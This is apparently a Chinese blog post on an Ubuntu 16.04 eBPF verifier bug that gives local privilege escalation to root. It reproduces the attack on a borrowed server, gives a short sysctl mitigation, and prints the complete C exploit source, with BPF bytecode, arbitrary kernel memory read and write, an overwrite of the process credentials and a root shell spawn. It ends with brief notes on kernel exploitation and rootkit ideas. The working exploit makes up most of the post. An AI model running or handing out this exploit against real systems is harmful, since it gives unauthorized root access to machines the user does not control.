初探——内存读写内核达到提权

起因：一个Ubuntu 16.04 提权漏洞的修复

漏洞概况：

这次的 EXP 在于Linux内核带有的eBPF bpf(2)系统调用中，当用户提供恶意BPF程序使eBPF验证器模块产生计算错误，导致任意内存读写问题。 非特权用户可以使用此漏洞获得权限提升。

漏洞重现

自己有很多Centos的服务器，唯一一台Ubuntu的还是4.4.0 -117的，所以向朋友借了一台服务器，刚刚好是4.3.0的，就拿他当小白鼠吧。

1。先创建一个用我名字命名的普通用户

2。把我事先准备好的exp代码scp到朋友的服务器上来

scp upstream44.c root@47.96.181.165:/tmp
gcc -o powned upstream44.c
powned

3。 再次查看id

对比root用户

可以看到已经提权成功了！

漏洞解决

1 这里利用的是bpf模块，可以禁用来达到防止漏洞

# 两种方式修改内核bpf参数
# 1 echo  合理的参数 比如 1   
echo 1 > /proc/sys/kernel/unprivileged_bpf_disabled
# 2 sysctl
sysctl -w kernel/unprivileged_bpf_disabled=1

kernel.unprivileged_bpf_disabled = 1

提权代码

/*
 * Ubuntu 16.04.4 kernel priv esc
 *
 * all credits to @bleidl
 * - vnik
 */

// Tested on:
// 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64
// if different kernel adjust CRED offset + check kernel stack size
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define PHYS_OFFSET 0xffff880000000000   //低于这个地址都是用户内存，高于是内核空间
#define CRED_OFFSET 0x5f8
#define UID_OFFSET 4
#define LOG_BUF_SIZE 65536   //64KB  2的16次方
#define PROGSIZE 328

int sockets[2];
int mapfd, progfd;

char *__prog =  "\xb4\x09\x00\x00\xff\xff\xff\xff"
        "\x55\x09\x02\x00\xff\xff\xff\xff"
        "\xb7\x00\x00\x00\x00\x00\x00\x00"
        "\x95\x00\x00\x00\x00\x00\x00\x00"
        "\x18\x19\x00\x00\x03\x00\x00\x00"
        "\x00\x00\x00\x00\x00\x00\x00\x00"
        "\xbf\x91\x00\x00\x00\x00\x00\x00"
        "\xbf\xa2\x00\x00\x00\x00\x00\x00"
        "\x07\x02\x00\x00\xfc\xff\xff\xff"
        "\x62\x0a\xfc\xff\x00\x00\x00\x00"
        "\x85\x00\x00\x00\x01\x00\x00\x00"
        "\x55\x00\x01\x00\x00\x00\x00\x00"
        "\x95\x00\x00\x00\x00\x00\x00\x00"
        "\x79\x06\x00\x00\x00\x00\x00\x00"
        "\xbf\x91\x00\x00\x00\x00\x00\x00"
        "\xbf\xa2\x00\x00\x00\x00\x00\x00"
        "\x07\x02\x00\x00\xfc\xff\xff\xff"
        "\x62\x0a\xfc\xff\x01\x00\x00\x00"
        "\x85\x00\x00\x00\x01\x00\x00\x00"
        "\x55\x00\x01\x00\x00\x00\x00\x00"
        "\x95\x00\x00\x00\x00\x00\x00\x00"
        "\x79\x07\x00\x00\x00\x00\x00\x00"
        "\xbf\x91\x00\x00\x00\x00\x00\x00"
        "\xbf\xa2\x00\x00\x00\x00\x00\x00"
        "\x07\x02\x00\x00\xfc\xff\xff\xff"
        "\x62\x0a\xfc\xff\x02\x00\x00\x00"
        "\x85\x00\x00\x00\x01\x00\x00\x00"
        "\x55\x00\x01\x00\x00\x00\x00\x00"
        "\x95\x00\x00\x00\x00\x00\x00\x00"
        "\x79\x08\x00\x00\x00\x00\x00\x00"
        "\xbf\x02\x00\x00\x00\x00\x00\x00"
        "\xb7\x00\x00\x00\x00\x00\x00\x00"
        "\x55\x06\x03\x00\x00\x00\x00\x00"
        "\x79\x73\x00\x00\x00\x00\x00\x00"
        "\x7b\x32\x00\x00\x00\x00\x00\x00"
        "\x95\x00\x00\x00\x00\x00\x00\x00"
        "\x55\x06\x02\x00\x01\x00\x00\x00"
        "\x7b\xa2\x00\x00\x00\x00\x00\x00"
        "\x95\x00\x00\x00\x00\x00\x00\x00"
        "\x7b\x87\x00\x00\x00\x00\x00\x00"
        "\x95\x00\x00\x00\x00\x00\x00\x00";

char bpf_log_buf[LOG_BUF_SIZE];

static int bpf_prog_load(enum bpf_prog_type prog_type,
          const struct bpf_insn *insns, int prog_len,
          const char *license, int kern_version) {
    union bpf_attr attr = {
        .prog_type = prog_type,
        .insns = (__u64)insns,
        .insn_cnt = prog_len / sizeof(struct bpf_insn),
        .license = (__u64)license,
        .log_buf = (__u64)bpf_log_buf,
        .log_size = LOG_BUF_SIZE,
        .log_level = 1,
    };

    attr.kern_version = kern_version;

    bpf_log_buf[0] = 0;

    return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}

static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
           int max_entries) {
    union bpf_attr attr = {
        .map_type = map_type,
        .key_size = key_size,
        .value_size = value_size,
        .max_entries = max_entries
    };

    return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}

static int bpf_update_elem(uint64_t key, uint64_t value) {
    union bpf_attr attr = {
        .map_fd = mapfd,
        .key = (__u64)&key,
        .value = (__u64)&value,
        .flags = 0,
    };

    return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}

static int bpf_lookup_elem(void *key, void *value) {
    union bpf_attr attr = {
        .map_fd = mapfd,
        .key = (__u64)key,
        .value = (__u64)value,
    };

    return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}

static void __exit(char *err) {
    fprintf(stderr, "error: %s\n", err);
    exit(-1);
}

static void prep(void) {
    mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
    if (mapfd < 0)
        __exit(strerror(errno));

    progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
            (struct bpf_insn *)__prog, PROGSIZE, "GPL", 0);

    if (progfd < 0)
        __exit(strerror(errno));

    if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
        __exit(strerror(errno));

    if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
        __exit(strerror(errno));
}

static void writemsg(void) {
    char buffer[64];

    ssize_t n = write(sockets[0], buffer, sizeof(buffer));

    if (n < 0) {
        perror("write");
        return;
    }
    if (n != sizeof(buffer))
        fprintf(stderr, "short write: %lu\n", n);
}

#define __update_elem(a, b, c) \
    bpf_update_elem(0, (a)); \
    bpf_update_elem(1, (b)); \
    bpf_update_elem(2, (c)); \
    writemsg();

static uint64_t get_value(int key) {
    uint64_t value;

    if (bpf_lookup_elem(&key, &value))
        __exit(strerror(errno));

    return value;
}

static uint64_t __get_fp(void) {
    __update_elem(1, 0, 0);

    return get_value(2);
}

static uint64_t __read(uint64_t addr) {
    __update_elem(0, addr, 0);

    return get_value(2);
}

static void __write(uint64_t addr, uint64_t val) {
    __update_elem(2, addr, val);
}

static uint64_t get_sp(uint64_t addr) {
    return addr & ~(0x4000 - 1);
}

static void pwn(void) {
    uint64_t fp, sp, task_struct, credptr, uidptr;

    fp = __get_fp();
    if (fp < PHYS_OFFSET)
        __exit("bogus fp");

    sp = get_sp(fp);
    if (sp < PHYS_OFFSET)
        __exit("bogus sp");

    task_struct = __read(sp);

    if (task_struct < PHYS_OFFSET)
        __exit("bogus task ptr");

    printf("task_struct = %lx\n", task_struct);

    credptr = __read(task_struct + CRED_OFFSET); // cred

    if (credptr < PHYS_OFFSET)
        __exit("bogus cred ptr");

    uidptr = credptr + UID_OFFSET; // uid
    if (uidptr < PHYS_OFFSET)
        __exit("bogus uid ptr");

    printf("uidptr = %lx\n", uidptr);
    __write(uidptr, 0); // set both uid and gid to 0

    if (getuid() == 0) {
        printf("spawning root shell\n");
        system("/bin/bash");
        exit(0);
    }

    __exit("not vulnerable?");
}

int main(int argc, char **argv) {
    prep();
    pwn();

    return 0;
}

内存读写内核达到提权的原理

本文用到的原理介绍

攻击者首先在进程用户空间植入提权代码，并且正常情况下内核函数指针指向内核空间的内核代码。利用写任意内存模式内核漏洞，修改函数指针，使得修改后的指针指向用户空间的提权代码，当攻击程序陷入到内核中执行到修改后的函数时，就将内核执行控制流引导至用户空间提权代码，将权限提权。

提权流程图

扩展

更高级的内核提权方式，无视权限

提权的方式有很多, 比如有个内核态的C程序写的不好断链了，我要是黑客咋利用呢？ 我可以写个用户态测程序想办法“覆盖”断掉的那部分的内存中的数据，然后再把链表指针指回去, 修复链表. 当内核模块执行到这个链表的时候就会正常调用下去了啊, 这时候他执行到我覆盖的恶意数据（比如是一条jmp指令），他就会继续跳转到我想让他跳的地方执行了啊, 而且这时候也是内核态执行的, 内核态执行啥概念，无视所有程序直接hook系统调用啊，就连uid校验那段程序都被无视掉了（因为他也依赖于系统调用嘛）。, 这招有个学名“linux rootkit”技术.——–李梓羿

关键词

ROP技术、ret2usr技术、kernel_setsockopt函数set_fs绕过、VDSO一类的关键词

参考

1。《Linux 内核提权攻击研究》 ——左玉丹，丁滟，魏立峰 （国防科学技术大学计算机学院，湖南，长沙 410073）
2。 Linux提权基础介绍 。http://www.xmsec.cc/guide-linux-privilege-escalation